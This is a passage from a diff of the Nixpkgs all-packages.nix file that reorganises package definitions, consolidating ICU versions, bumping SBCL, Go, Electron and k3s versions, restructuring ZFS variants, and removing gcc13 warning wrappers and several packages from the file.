../development/libraries/ada/gnatcoll/bindings.nix { component = "readline"; }; - gnatcoll-syslog = callPackage ../development/libraries/ada/gnatcoll/bindings.nix { component = "syslog"; }; - gnatcoll-zlib = callPackage ../development/libraries/ada/gnatcoll/bindings.nix { component = "zlib"; }; - - # gnatcoll-db repository - gnatcoll-postgres = callPackage ../development/libraries/ada/gnatcoll/db.nix { component = "postgres"; }; - gnatcoll-sql = callPackage ../development/libraries/ada/gnatcoll/db.nix { component = "sql"; }; - gnatcoll-sqlite = callPackage ../development/libraries/ada/gnatcoll/db.nix { component = "sqlite"; }; - gnatcoll-xref = callPackage ../development/libraries/ada/gnatcoll/db.nix { component = "xref"; }; - gns3Packages = dontRecurseIntoAttrs (callPackage ../applications/networking/gns3 { }); gns3-gui = gns3Packages.guiStable; gns3-server = gns3Packages.serverStable; @@ -21969,42 +21827,22 @@ with pkgs; hyperscan = callPackage ../development/libraries/hyperscan { }; - icu58 = callPackage (import ../development/libraries/icu/58.nix fetchurl) ({ - nativeBuildRoot = buildPackages.icu58.override { buildRootOnly = true; }; - }); - icu60 = callPackage ../development/libraries/icu/60.nix ({ - nativeBuildRoot = buildPackages.icu60.override { buildRootOnly = true; }; - }); - icu63 = callPackage ../development/libraries/icu/63.nix ({ - nativeBuildRoot = buildPackages.icu63.override { buildRootOnly = true; }; - }); - icu64 = callPackage ../development/libraries/icu/64.nix ({ - nativeBuildRoot = buildPackages.icu64.override { buildRootOnly = true; }; - }); - icu66 = callPackage ../development/libraries/icu/66.nix ({ - nativeBuildRoot = buildPackages.icu66.override { buildRootOnly = true; }; - }); - icu67 = callPackage ../development/libraries/icu/67.nix ({ - nativeBuildRoot = buildPackages.icu67.override { buildRootOnly = true; }; - }); - icu68 = callPackage ../development/libraries/icu/68.nix ({ - nativeBuildRoot = buildPackages.icu68.override { buildRootOnly = true; }; - }); - icu69 = callPackage ../development/libraries/icu/69.nix ({ - nativeBuildRoot = buildPackages.icu69.override { buildRootOnly = true; }; - }); - icu70 = callPackage ../development/libraries/icu/70.nix ({ - nativeBuildRoot = buildPackages.icu70.override { buildRootOnly = true; }; - }); - icu71 = callPackage ../development/libraries/icu/71.nix ({ - nativeBuildRoot = buildPackages.icu71.override { buildRootOnly = true; }; - }); - icu72 = callPackage ../development/libraries/icu/72.nix ({ - nativeBuildRoot = buildPackages.icu72.override { buildRootOnly = true; }; - }); - icu73 = callPackage ../development/libraries/icu/73.nix ({ - nativeBuildRoot = buildPackages.icu72.override { buildRootOnly = true; }; - }); + icu-versions = callPackages ../development/libraries/icu { }; + inherit (icu-versions) + icu58 + icu60 + icu63 + icu64 + icu66 + icu67 + icu68 + icu69 + icu70 + icu71 + icu72 + icu73 + icu74 + ; icu = icu73; @@ -22351,7 +22189,7 @@ with pkgs; libbacktrace = callPackage ../development/libraries/libbacktrace { }; libbap = callPackage ../development/libraries/libbap { - inherit (ocaml-ng.ocamlPackages_4_14) bap ocaml findlib ctypes; + inherit (ocaml-ng.ocamlPackages_4_14) bap ocaml findlib ctypes ctypes-foreign; }; libbaseencode = callPackage ../development/libraries/libbaseencode { }; @@ -23639,8 +23477,8 @@ with pkgs; in pkgs.buildEnv { # slightly hacky name = "libxml2+py-${res.libxml2.version}"; paths = with libxml2; [ dev bin py ]; - # Avoid update.nix conflicts with libxml2. - passthru = builtins.removeAttrs libxml2.passthru [ "updateScript" ]; + # Avoid update.nix/tests conflicts with libxml2. + passthru = builtins.removeAttrs libxml2.passthru [ "updateScript" "tests" ]; # the hook to find catalogs is hidden by buildEnv postBuild = '' mkdir "$out/nix-support" @@ -23703,8 +23541,6 @@ with pkgs; libwacom-surface = callPackage ../development/libraries/libwacom/surface.nix { }; - lightning = callPackage ../development/libraries/lightning { }; - lightlocker = callPackage ../misc/screensavers/light-locker { }; lightspark = callPackage ../misc/lightspark { }; @@ -23786,7 +23622,7 @@ with pkgs; mediastreamer-openh264 = callPackage ../development/libraries/mediastreamer/msopenh264.nix { }; - memorymapping = disable-warnings-if-gcc13 (callPackage ../development/libraries/memorymapping { }); + memorymapping = callPackage ../development/libraries/memorymapping { }; memorymappingHook = makeSetupHook { name = "memorymapping-hook"; propagatedBuildInputs = [ memorymapping ]; @@ -23925,10 +23761,6 @@ with pkgs; mqttmultimeter = callPackage ../tools/networking/mqttmultimeter { }; - mqttui = callPackage ../tools/networking/mqttui { - inherit (darwin.apple_sdk.frameworks) Security; - }; - msgpack = callPackage ../development/libraries/msgpack { }; msgpack-c = callPackage ../development/libraries/msgpack-c { }; @@ -23969,6 +23801,8 @@ with pkgs; mvapich = callPackage ../development/libraries/mvapich { }; + mvfst = darwin.apple_sdk_11_0.callPackage ../development/libraries/mvfst { }; + mygpoclient = with python3.pkgs; toPythonApplication mygpoclient; mygui = callPackage ../development/libraries/mygui { @@ -24080,7 +23914,7 @@ with pkgs; nv-codec-headers-12 = callPackage ../development/libraries/nv-codec-headers/12_x.nix { }; nvidiaCtkPackages = - callPackage ../applications/virtualization/nvidia-container-toolkit/packages.nix + callPackage ../by-name/nv/nvidia-container-toolkit/packages.nix { }; inherit (nvidiaCtkPackages) nvidia-docker @@ -24169,7 +24003,7 @@ with pkgs; opencl-clhpp = callPackage ../development/libraries/opencl-clhpp { }; - opencollada = disable-warnings-if-gcc13 (callPackage ../development/libraries/opencollada { }); + opencollada = callPackage ../development/libraries/opencollada { }; opencore-amr = callPackage ../development/libraries/opencore-amr { }; @@ -24224,8 +24058,6 @@ with pkgs; inherit (darwin.apple_sdk.frameworks) Cocoa IOKit Kernel; }; - openh264 = callPackage ../development/libraries/openh264 { }; - openjpeg = callPackage ../development/libraries/openjpeg { }; openpa = callPackage ../development/libraries/openpa { }; @@ -24419,9 +24251,9 @@ with pkgs; primesieve = callPackage ../applications/science/math/primesieve { }; - proj = disable-warnings-if-gcc13 (callPackage ../development/libraries/proj { + proj = callPackage ../development/libraries/proj { stdenv = if stdenv.cc.isClang then overrideLibcxx llvmPackages_13.stdenv else stdenv; - }); + }; proj_7 = callPackage ../development/libraries/proj/7.nix { }; @@ -24436,9 +24268,7 @@ with pkgs; protobuf = protobuf_24; - protobuf_25 = callPackage ../development/libraries/protobuf/25.nix { - abseil-cpp = abseil-cpp_202308; - }; + protobuf_25 = callPackage ../development/libraries/protobuf/25.nix { }; protobuf_24 = callPackage ../development/libraries/protobuf/24.nix { }; protobuf_23 = callPackage ../development/libraries/protobuf/23.nix { }; protobuf_21 = callPackage ../development/libraries/protobuf/21.nix { @@ -24531,7 +24361,7 @@ with pkgs; qt6 = recurseIntoAttrs (callPackage ../development/libraries/qt-6 { }); qt6Packages = recurseIntoAttrs (import ./qt6-packages.nix { - inherit lib __splicedPackages makeScopeWithSplicing' generateSplicesForMkScope pkgsHostTarget; + inherit lib __splicedPackages makeScopeWithSplicing' generateSplicesForMkScope pkgsHostTarget kdePackages; stdenv = if stdenv.isDarwin then darwin.apple_sdk_11_0.stdenv else stdenv; }); @@ -24582,8 +24412,6 @@ with pkgs; readline = readline82; - readline63 = callPackage ../development/libraries/readline/6.3.nix { }; - readline70 = callPackage ../development/libraries/readline/7.0.nix { }; readline82 = callPackage ../development/libraries/readline/8.2.nix { }; @@ -25327,7 +25155,7 @@ with pkgs; vale = callPackage ../tools/text/vale { }; valhalla = callPackage ../development/libraries/valhalla { - boost = boost.override { enablePython = true; python = python38; }; + boost = boost.override { enablePython = true; python = python3; }; protobuf = protobuf_21.override { abseil-cpp = abseil-cpp_202103.override { cxxStandard = "17"; @@ -25422,7 +25250,7 @@ with pkgs; wally-cli = callPackage ../development/tools/wally-cli { }; zsa-udev-rules = callPackage ../os-specific/linux/zsa-udev-rules { }; - wangle = callPackage ../development/libraries/wangle { }; + wangle = darwin.apple_sdk_11_0.callPackage ../development/libraries/wangle { }; wapp = callPackage ../development/libraries/wapp { }; @@ -25546,8 +25374,6 @@ with pkgs; xmake-core-sv = callPackage ../development/libraries/xmake-core-sv { }; - xmlada = callPackage ../development/libraries/ada/xmlada { }; - xmlrpc_c = callPackage ../development/libraries/xmlrpc-c { }; xmlsec = callPackage ../development/libraries/xmlsec { }; @@ -25913,17 +25739,17 @@ with pkgs; }; # Steel Bank Common Lisp - sbcl_2_4_0 = wrapLisp { - pkg = callPackage ../development/compilers/sbcl { version = "2.4.0"; }; + sbcl_2_4_1 = wrapLisp { + pkg = callPackage ../development/compilers/sbcl { version = "2.4.1"; }; faslExt = "fasl"; flags = [ "--dynamic-space-size" "3000" ]; }; - sbcl_2_4_1 = wrapLisp { - pkg = callPackage ../development/compilers/sbcl { version = "2.4.1"; }; + sbcl_2_4_2 = wrapLisp { + pkg = callPackage ../development/compilers/sbcl { version = "2.4.2"; }; faslExt = "fasl"; flags = [ "--dynamic-space-size" "3000" ]; }; - sbcl = sbcl_2_4_1; + sbcl = sbcl_2_4_2; sbclPackages = recurseIntoAttrs sbcl.pkgs; @@ -26068,10 +25894,6 @@ with pkgs; appdaemon = callPackage ../servers/home-assistant/appdaemon.nix { }; - archiveopteryx = callPackage ../servers/mail/archiveopteryx { - openssl = openssl_1_1; - }; - asouldocs = callPackage ../servers/asouldocs { }; atlassian-bamboo = callPackage ../servers/atlassian/bamboo.nix { }; @@ -26469,8 +26291,6 @@ with pkgs; lighttpd = callPackage ../servers/http/lighttpd { }; - listmonk = callPackage ../servers/mail/listmonk { }; - linx-server = callPackage ../servers/web-apps/linx-server { }; livepeer = callPackage ../servers/livepeer { }; @@ -26507,7 +26327,7 @@ with pkgs; matrix-alertmanager = callPackage ../servers/monitoring/matrix-alertmanager { }; - mattermost = callPackage ../servers/mattermost { }; + mattermost = callPackage ../servers/mattermost { buildGoModule = buildGo122Module; }; matterircd = callPackage ../servers/mattermost/matterircd.nix { }; matterbridge = callPackage ../servers/matterbridge { }; @@ -26652,7 +26472,7 @@ with pkgs; outline = callPackage ../servers/web-apps/outline (lib.fix (super: { yarn = yarn.override { inherit (super) nodejs; }; - nodejs = nodejs_18; + nodejs = nodejs_20; })); openbgpd = callPackage ../servers/openbgpd { }; @@ -26907,12 +26727,16 @@ with pkgs; rust-hypervisor-firmware = callPackage ../applications/virtualization/rust-hypervisor-firmware { }; - OVMF = callPackage ../applications/virtualization/OVMF { }; + OVMF = callPackage ../applications/virtualization/OVMF { + inherit (python3Packages) pexpect; + }; OVMFFull = callPackage ../applications/virtualization/OVMF { + inherit (python3Packages) pexpect; secureBoot = true; httpSupport = true; tpmSupport = true; tlsSupport = true; + msVarsTemplate = stdenv.isx86_64 || stdenv.isAarch64; }; ops = callPackage ../applications/virtualization/ops { }; @@ -27122,9 +26946,9 @@ with pkgs; protobuf = protobuf_21; }; - rippled = disable-warnings-if-gcc13 (callPackage ../servers/rippled { + rippled = callPackage ../servers/rippled { boost = boost177; - }); + }; rippled-validator-keys-tool = callPackage ../servers/rippled/validator-keys-tool.nix { }; @@ -27242,7 +27066,9 @@ with pkgs; systemd-journal2gelf = callPackage ../tools/system/systemd-journal2gelf { }; - tailscale = callPackage ../servers/tailscale { }; + tailscale = callPackage ../servers/tailscale { + buildGoModule = buildGo122Module; + }; tailscale-systray = callPackage ../applications/misc/tailscale-systray { }; @@ -27280,6 +27106,7 @@ with pkgs; inherit (callPackages ../servers/web-apps/matomo {}) matomo + matomo_5 matomo-beta; axis2 = callPackage ../servers/http/tomcat/axis2 { }; @@ -27309,8 +27136,6 @@ with pkgs; vouch-proxy = callPackage ../servers/vouch-proxy { }; - victoriametrics = callPackage ../servers/nosql/victoriametrics { }; - virtiofsd = callPackage ../servers/misc/virtiofsd { }; virtualenv = with python3Packages; toPythonApplication virtualenv; @@ -27390,16 +27215,14 @@ with pkgs; server-mysql = (callPackages ../servers/monitoring/zabbix/server.nix { mysqlSupport = true; }).${version}; server-pgsql = (callPackages ../servers/monitoring/zabbix/server.nix { postgresqlSupport = true; }).${version}; web = (callPackages ../servers/monitoring/zabbix/web.nix {}).${version}; + agent2 = (callPackages ../servers/monitoring/zabbix/agent2.nix {}).${version}; # backwards compatibility server = server-pgsql; - } // lib.optionalAttrs ( version != "v40" ) { # agent2 is not supported in v4 - agent2 = (callPackages ../servers/monitoring/zabbix/agent2.nix {}).${version}; }; zabbix60 = recurseIntoAttrs (zabbixFor "v60"); zabbix50 = recurseIntoAttrs (zabbixFor "v50"); - zabbix40 = dontRecurseIntoAttrs (zabbixFor "v40"); zabbix = zabbix60; @@ -27669,6 +27492,8 @@ with pkgs; ebtables = callPackage ../os-specific/linux/ebtables { }; + elegant-sddm = libsForQt5.callPackage ../data/themes/elegant-sddm { }; + error-inject = callPackages ../os-specific/linux/error-inject { }; extrace = callPackage ../os-specific/linux/extrace { }; @@ -27755,7 +27580,7 @@ with pkgs; inherit (darwin.apple_sdk.frameworks) AppKit; }; - btop = disable-warnings-if-gcc13 (darwin.apple_sdk_11_0.callPackage ../tools/system/btop { }); + btop = darwin.apple_sdk_11_0.callPackage ../tools/system/btop { }; nmon = callPackage ../os-specific/linux/nmon { }; @@ -27977,8 +27802,6 @@ with pkgs; linux_5_15_hardened = linuxKernel.kernels.linux_5_15_hardened; linuxPackages_6_1_hardened = linuxKernel.packages.linux_6_1_hardened; linux_6_1_hardened = linuxKernel.kernels.linux_6_1_hardened; - linuxPackages_6_5_hardened = linuxKernel.packages.linux_6_5_hardened; - linux_6_5_hardened = linuxKernel.kernels.linux_6_5_hardened; linuxPackages_6_6_hardened = linuxKernel.packages.linux_6_6_hardened; linux_6_6_hardened = linuxKernel.kernels.linux_6_6_hardened; linuxPackages_6_7_hardened = linuxKernel.packages.linux_6_7_hardened; @@ -28793,6 +28616,8 @@ with pkgs; teensy-udev-rules = callPackage ../os-specific/linux/teensy-udev-rules { }; + sensible-side-buttons = callPackage ../os-specific/darwin/sensible-side-buttons { }; + wpa_supplicant = callPackage ../os-specific/linux/wpa_supplicant { }; wpa_supplicant_ro_ssids = wpa_supplicant.override { @@ -28815,16 +28640,22 @@ with pkgs; zenmonitor = callPackage ../os-specific/linux/zenmonitor { }; - zfs_2_1 = callPackage ../os-specific/linux/zfs/2_1.nix { - configFile = "user"; - }; - zfsStable = callPackage ../os-specific/linux/zfs/stable.nix { - configFile = "user"; - }; - zfsUnstable = callPackage ../os-specific/linux/zfs/unstable.nix { - configFile = "user"; - }; - zfs = zfsStable; + inherit + ({ + zfs_2_1 = callPackage ../os-specific/linux/zfs/2_1.nix { + configFile = "user"; + }; + zfs_2_2 = callPackage ../os-specific/linux/zfs/2_2.nix { + configFile = "user"; + }; + zfs_unstable = callPackage ../os-specific/linux/zfs/unstable.nix { + configFile = "user"; + }; + }) + zfs_2_1 + zfs_2_2 + zfs_unstable; + zfs = zfs_2_2; ### DATA @@ -29408,8 +29239,6 @@ with pkgs; lmodern = callPackage ../data/fonts/lmodern { }; - logiops = callPackage ../misc/drivers/logiops { }; - # ltunifi and solaar both provide udev rules but solaar's rules are more # up-to-date so we simply use that instead of having to maintain our own rules logitech-udev-rules = solaar.udev; @@ -29536,8 +29365,6 @@ with pkgs; national-park-typeface = callPackage ../data/fonts/national-park { }; - netease-music-tui = callPackage ../applications/audio/netease-music-tui { }; - nordic = libsForQt5.callPackage ../data/themes/nordic { }; nordzy-cursor-theme = callPackage ../data/icons/nordzy-cursor-theme { }; @@ -30098,8 +29925,6 @@ with pkgs; stdenv = if stdenv.isDarwin then overrideSDK stdenv "11.0" else stdenv; }; - openorienteering-mapper = libsForQt5.callPackage ../applications/gis/openorienteering-mapper { }; - qgis-ltr = callPackage ../applications/gis/qgis/ltr.nix { }; qgis = callPackage ../applications/gis/qgis { }; @@ -30379,7 +30204,9 @@ with pkgs; inherit (darwin.apple_sdk.frameworks) Cocoa CoreAudio Foundation; }; - ptcollab = libsForQt5.callPackage ../applications/audio/ptcollab { }; + ptcollab = callPackage ../by-name/pt/ptcollab/package.nix { + stdenv = if stdenv.hostPlatform.isDarwin then darwin.apple_sdk_11_0.stdenv else stdenv; + }; schismtracker = callPackage ../applications/audio/schismtracker { inherit (darwin.apple_sdk.frameworks) Cocoa; @@ -30654,8 +30481,6 @@ with pkgs; cava = callPackage ../applications/audio/cava { }; - cavalier = callPackage ../applications/audio/cavalier { }; - cb2bib = libsForQt5.callPackage ../applications/office/cb2bib { }; cbatticon = callPackage ../applications/misc/cbatticon { }; @@ -30969,7 +30794,7 @@ with pkgs; dnglab = callPackage ../tools/graphics/dnglab { }; inherit (callPackage ../applications/virtualization/docker {}) - docker_20_10 docker_24; + docker_20_10 docker_24 docker_25; docker = docker_24; docker-client = docker.override { clientOnly = true; }; @@ -31032,8 +30857,6 @@ with pkgs; dsf2flac = callPackage ../applications/audio/dsf2flac { }; - dunst = callPackage ../applications/misc/dunst { }; - dust = callPackage ../by-name/du/dust/package.nix { inherit (darwin.apple_sdk_11_0.frameworks) AppKit; }; @@ -31106,11 +30929,11 @@ with pkgs; inherit (recurseIntoAttrs (callPackage ../applications/editors/ed { })) ed edUnstable; - edbrowse = callPackage ../applications/editors/edbrowse { }; - edlin = callPackage ../applications/editors/edlin { }; - orbiton = callPackage ../applications/editors/orbiton { }; + orbiton = callPackage ../applications/editors/orbiton { + buildGoModule = buildGo122Module; + }; oed = callPackage ../applications/editors/oed { }; @@ -31226,9 +31049,6 @@ with pkgs; evilpixie = libsForQt5.callPackage ../applications/graphics/evilpixie { }; eww = callPackage ../applications/window-managers/eww { }; - eww-wayland = callPackage ../applications/window-managers/eww { - withWayland = true; - }; exaile = callPackage ../applications/audio/exaile { }; @@ -31760,7 +31580,7 @@ with pkgs; firefox-devedition-bin-unwrapped = callPackage ../applications/networking/browsers/firefox-bin { inherit (gnome) adwaita-icon-theme; channel = "developer-edition"; - generated = import ../applications/networking/browsers/firefox-bin/devedition_sources.nix; + generated = import ../applications/networking/browsers/firefox-bin/developer-edition_sources.nix; }; firefox-devedition-bin = res.wrapFirefox firefox-devedition-bin-unwrapped { @@ -32210,7 +32030,9 @@ with pkgs; hexedit = callPackage ../applications/editors/hexedit { }; - himalaya = callPackage ../applications/networking/mailreaders/himalaya { }; + himalaya = callPackage ../applications/networking/mailreaders/himalaya { + inherit (darwin.apple_sdk.frameworks) AppKit Cocoa Security; + }; hydrogen-web-unwrapped = callPackage ../applications/networking/instant-messengers/hydrogen-web/unwrapped.nix { }; @@ -32678,6 +32500,10 @@ with pkgs; imgp = python3Packages.callPackage ../applications/graphics/imgp { }; + imhex = callPackage ../by-name/im/imhex/package.nix { + llvm = llvm_17; + }; + inframap = callPackage ../applications/networking/cluster/inframap { }; inkcut = libsForQt5.callPackage ../applications/misc/inkcut { }; @@ -32804,7 +32630,7 @@ with pkgs; }) k3s_1_26 k3s_1_27 k3s_1_28; inherit (callPackage ../applications/networking/cluster/k3s { }) k3s_1_29; - k3s = k3s_1_27; + k3s = k3s_1_29; k3sup = callPackage ../applications/networking/cluster/k3sup { }; @@ -33145,9 +32971,7 @@ with pkgs; libowlevelzs = callPackage ../development/libraries/libowlevelzs { }; - librecad = libsForQt5.callPackage ../applications/misc/librecad { - boost = boost175; - }; + librecad = libsForQt5.callPackage ../applications/misc/librecad { }; libreoffice-bin = callPackage ../applications/office/libreoffice/darwin { }; @@ -33260,8 +33084,6 @@ with pkgs; loxodo = callPackage ../applications/misc/loxodo { }; - lsd2dsl = libsForQt5.callPackage ../applications/misc/lsd2dsl { }; - lrzsz = callPackage ../tools/misc/lrzsz { }; lsp-plugins = callPackage ../applications/audio/lsp-plugins { php = php81; }; @@ -33411,8 +33233,6 @@ with pkgs; mediathekview = callPackage ../applications/video/mediathekview { jre = temurin-bin-20; }; - megapixels = callPackage ../applications/graphics/megapixels { }; - meteo = callPackage ../applications/networking/weather/meteo { }; meld = callPackage ../applications/version-management/meld { }; @@ -33897,8 +33717,6 @@ with pkgs; opsdroid = callPackage ../applications/networking/opsdroid { }; - osm2pgsql = callPackage ../tools/misc/osm2pgsql { }; - ostinato = libsForQt5.callPackage ../applications/networking/ostinato { protobuf = protobuf_21; }; @@ -34039,7 +33857,7 @@ with pkgs; rep-gtk = callPackage ../development/libraries/rep-gtk { }; - reproc = disable-warnings-if-gcc13 (callPackage ../development/libraries/reproc { }); + reproc = callPackage ../development/libraries/reproc { }; sawfish = callPackage ../applications/window-managers/sawfish { }; @@ -34118,8 +33936,6 @@ with pkgs; nanorc = callPackage ../applications/editors/nano/nanorc { }; - nc4nix = callPackage ../development/tools/nc4nix { }; - netbeans = callPackage ../applications/editors/netbeans { jdk = jdk17; }; @@ -34201,7 +34017,7 @@ with pkgs; wrapOBS = callPackage ../applications/video/obs-studio/wrapper.nix { }; obsidian = callPackage ../applications/misc/obsidian { - electron = electron_25; + electron = electron_28; }; octoprint = callPackage ../applications/misc/octoprint { }; @@ -34652,6 +34468,8 @@ with pkgs; qcomicbook = libsForQt5.callPackage ../applications/graphics/qcomicbook { }; + qctools = libsForQt5.callPackage ../applications/video/qctools { }; + qelectrotech = libsForQt5.callPackage ../applications/misc/qelectrotech { }; eiskaltdcpp = libsForQt5.callPackage ../applications/networking/p2p/eiskaltdcpp { }; @@ -35098,7 +34916,7 @@ with pkgs; spice-vdagent = callPackage ../applications/virtualization/spice-vdagent { }; - spike = pin-to-gcc12-if-gcc13 (callPackage ../applications/virtualization/spike { }); + spike = callPackage ../applications/virtualization/spike { }; tensorman = callPackage ../tools/misc/tensorman { }; @@ -35210,12 +35028,12 @@ with pkgs; slic3r = callPackage ../applications/misc/slic3r { }; - curaengine_stable = disable-warnings-if-gcc13 (callPackage ../applications/misc/curaengine/stable.nix { }); + curaengine_stable = callPackage ../applications/misc/curaengine/stable.nix { }; - curaengine = disable-warnings-if-gcc13 (callPackage ../applications/misc/curaengine { + curaengine = callPackage ../applications/misc/curaengine { inherit (python3.pkgs) libarcus; protobuf = protobuf_21; - }); + }; cura = libsForQt5.callPackage ../applications/misc/cura { }; @@ -35304,8 +35122,6 @@ with pkgs; spotify-player = callPackage ../applications/audio/spotify-player { }; - spotifywm = callPackage ../applications/audio/spotifywm { }; - psst = callPackage ../applications/audio/psst { }; squeezelite = darwin.apple_sdk_11_0.callPackage ../applications/audio/squeezelite { @@ -35419,8 +35235,11 @@ with pkgs; syncthing-tray = callPackage ../applications/misc/syncthing-tray { }; - syncthingtray = libsForQt5.callPackage ../applications/misc/syncthingtray { }; - syncthingtray-minimal = libsForQt5.callPackage ../applications/misc/syncthingtray { + syncthingtray = kdePackages.callPackage ../applications/misc/syncthingtray { + # renamed in KF5 -> KF6 + plasma-framework = kdePackages.libplasma; + }; + syncthingtray-minimal = syncthingtray.override { webviewSupport = false; jsSupport = false; kioPluginSupport = false; @@ -35429,7 +35248,8 @@ with pkgs; }; synergy = libsForQt5.callPackage ../applications/misc/synergy { - inherit (darwin.apple_sdk.frameworks) ApplicationServices Carbon Cocoa CoreServices ScreenSaver; + stdenv = if stdenv.isDarwin then darwin.apple_sdk_11_0.stdenv else stdenv; + inherit (darwin.apple_sdk_11_0.frameworks) ApplicationServices Carbon Cocoa CoreServices ScreenSaver UserNotifications; }; synergyWithoutGUI = synergy.override { withGUI = false; }; @@ -35662,8 +35482,6 @@ with pkgs; inherit (linuxPackages) x86_energy_perf_policy; }; - tippecanoe = callPackage ../applications/misc/tippecanoe { }; - tmatrix = callPackage ../applications/misc/tmatrix { }; tnef = callPackage ../applications/misc/tnef { }; @@ -35678,9 +35496,9 @@ with pkgs; tofi = callPackage ../applications/misc/tofi { }; - tokyo-night-gtk = tokyo-night-gtk-variants.full; + tokyonight-gtk-theme = tokyonight-gtk-theme-variants.full; - tokyo-night-gtk-variants = recurseIntoAttrs (callPackage ../data/themes/tokyo-night-gtk { }); + tokyonight-gtk-theme-variants = recurseIntoAttrs (callPackage ../data/themes/tokyonight-gtk-theme { }); topydo = callPackage ../applications/misc/topydo { }; @@ -35743,7 +35561,9 @@ with pkgs; enableCli = false; }; transmission_4-gtk = transmission_4.override { enableGTK3 = true; }; - transmission_4-qt = transmission_4.override { enableQt = true; }; + transmission_4-qt5 = transmission_4.override { enableQt5 = true; }; + transmission_4-qt6 = transmission_4.override { enableQt6 = true; }; + transmission_4-qt = transmission_4-qt5; transmission-remote-gtk = callPackage ../applications/networking/p2p/transmission-remote-gtk { }; @@ -35835,7 +35655,9 @@ with pkgs; ueberzug = with python3Packages; toPythonApplication ueberzug; - ueberzugpp = darwin.apple_sdk_11_0.callPackage ../tools/graphics/ueberzugpp { }; + ueberzugpp = callPackage ../by-name/ue/ueberzugpp/package.nix { + stdenv = if stdenv.isDarwin then overrideSDK stdenv "11.0" else stdenv; + }; uefi-run = callPackage ../tools/virtualization/uefi-run { }; @@ -35865,11 +35687,6 @@ with pkgs; unipicker = callPackage ../applications/misc/unipicker { }; - unison = callPackage ../applications/networking/sync/unison { - enableX11 = config.unison.enableX11 or true; - inherit (darwin.apple_sdk.frameworks) Cocoa; - }; - unpaper = callPackage ../tools/graphics/unpaper { }; unison-ucm = callPackage ../development/compilers/unison { }; @@ -36015,9 +35832,13 @@ with pkgs; virtual-ans = callPackage ../applications/audio/virtual-ans { }; - virtualbox = disable-warnings-if-gcc13 (libsForQt5.callPackage ../applications/virtualization/virtualbox { + virtualbox = libsForQt5.callPackage ../applications/virtualization/virtualbox { stdenv = stdenv_32bit; inherit (gnome2) libIDL; + }; + + virtualboxKvm = lowPrio (virtualbox.override { + enableKvm = true; }); virtualboxHardened = lowPrio (virtualbox.override { @@ -36077,8 +35898,6 @@ with pkgs; vkeybd = callPackage ../applications/audio/vkeybd { }; - vlc = libsForQt5.callPackage ../applications/video/vlc { }; - libvlc = vlc.override { withQt5 = false; onlyLibVLC = true; @@ -36426,14 +36245,6 @@ with pkgs; x-create-mouse-void = callPackage ../applications/window-managers/x-create-mouse-void { }; - picom = callPackage ../applications/window-managers/picom { }; - - picom-allusive = callPackage ../applications/window-managers/picom/picom-allusive.nix { }; - - picom-jonaburg = callPackage ../applications/window-managers/picom/picom-jonaburg.nix { }; - - picom-next = callPackage ../applications/window-managers/picom/picom-next.nix { }; - xd = callPackage ../applications/networking/p2p/xd { }; xdaliclock = callPackage ../tools/misc/xdaliclock { }; @@ -36447,7 +36258,6 @@ with pkgs; xdg-desktop-portal-gtk = callPackage ../development/libraries/xdg-desktop-portal-gtk { }; xdg-desktop-portal-hyprland = callPackage ../applications/window-managers/hyprwm/xdg-desktop-portal-hyprland { - stdenv = gcc13Stdenv; inherit (qt6) qtbase qttools qtwayland wrapQtAppsHook; }; @@ -36515,7 +36325,9 @@ with pkgs; apvlv = callPackage ../applications/misc/apvlv { }; - xpdf = libsForQt5.callPackage ../applications/misc/xpdf { }; + xpdf = libsForQt5.callPackage ../applications/misc/xpdf { + stdenv = if stdenv.isDarwin then darwin.apple_sdk_11_0.stdenv else stdenv; + }; xplugd = callPackage ../tools/X11/xplugd { }; @@ -36914,11 +36726,11 @@ with pkgs; lightning-pool = callPackage ../applications/blockchains/lightning-pool { }; - litecoin = disable-warnings-if-gcc13 (libsForQt5.callPackage ../applications/blockchains/litecoin { + litecoin = libsForQt5.callPackage ../applications/blockchains/litecoin { inherit (darwin.apple_sdk.frameworks) AppKit; boost = pkgs.boost177; - }); - litecoind = disable-warnings-if-gcc13 (litecoin.override { withGui = false; }); + }; + litecoind = litecoin.override { withGui = false; }; livedl = callPackage ../tools/misc/livedl { }; @@ -36994,15 +36806,15 @@ with pkgs; vertcoin = libsForQt5.callPackage ../applications/blockchains/vertcoin { withGui = true; }; - vertcoind = disable-warnings-if-gcc13 (callPackage ../applications/blockchains/vertcoin { + vertcoind = callPackage ../applications/blockchains/vertcoin { withGui = false; - }); + }; wasabiwallet = callPackage ../applications/blockchains/wasabiwallet { }; wasabibackend = callPackage ../applications/blockchains/wasabibackend { }; - wownero = disable-warnings-if-gcc13 (callPackage ../applications/blockchains/wownero { }); + wownero = callPackage ../applications/blockchains/wownero { }; zcash = callPackage ../applications/blockchains/zcash { inherit (darwin.apple_sdk.frameworks) Security; @@ -37228,8 +37040,6 @@ with pkgs; lpairs2 = callPackage ../games/lgames/lpairs2 { }; - ltris = callPackage ../games/lgames/ltris { }; - maelstrom = callPackage ../games/maelstrom { }; mar1d = callPackage ../games/mar1d { } ; @@ -37576,8 +37386,6 @@ with pkgs; fsg = callPackage ../games/fsg { }; - galaxis = callPackage ../games/galaxis { }; - gambit-chess = callPackage ../games/gambit { }; garden-of-coloured-lights = callPackage ../games/garden-of-coloured-lights { allegro = allegro4; }; @@ -39153,7 +38961,7 @@ with pkgs; ipopt = callPackage ../development/libraries/science/math/ipopt { }; - gmsh = disable-warnings-if-gcc13 (callPackage ../applications/science/math/gmsh { }); + gmsh = callPackage ../applications/science/math/gmsh { }; wcpg = callPackage ../development/libraries/science/math/wcpg { }; @@ -40283,7 +40091,7 @@ with pkgs; jack-autoconnect = libsForQt5.callPackage ../applications/audio/jack-autoconnect { }; jack_autoconnect = jack-autoconnect; - jacktrip = libsForQt5.callPackage ../applications/audio/jacktrip { }; + jacktrip = callPackage ../applications/audio/jacktrip { }; j2cli = with python3Packages; toPythonApplication j2cli; @@ -40396,7 +40204,14 @@ with pkgs; nixStatic = pkgsStatic.nix; - nixops_unstable = callPackage ../applications/networking/cluster/nixops { }; + inherit (callPackages ../applications/networking/cluster/nixops { }) + nixops_unstable_minimal + + # Not recommended; too fragile + nixops_unstable_full; + + # Useful with ofborg, e.g. commit prefix `nixops_unstablePlugins.nixops-aws: ...` to trigger automatically. + nixops_unstablePlugins = recurseIntoAttrs nixops_unstable_minimal.availablePlugins; /* Evaluate a NixOS configuration using this evaluation of Nixpkgs. @@ -40533,7 +40348,7 @@ with pkgs; nix-melt = callPackage ../tools/nix/nix-melt { }; nixos-option = callPackage ../tools/nix/nixos-option { - nix = nixVersions.nix_2_15; + nix = nixVersions.nix_2_18; }; nix-pin = callPackage 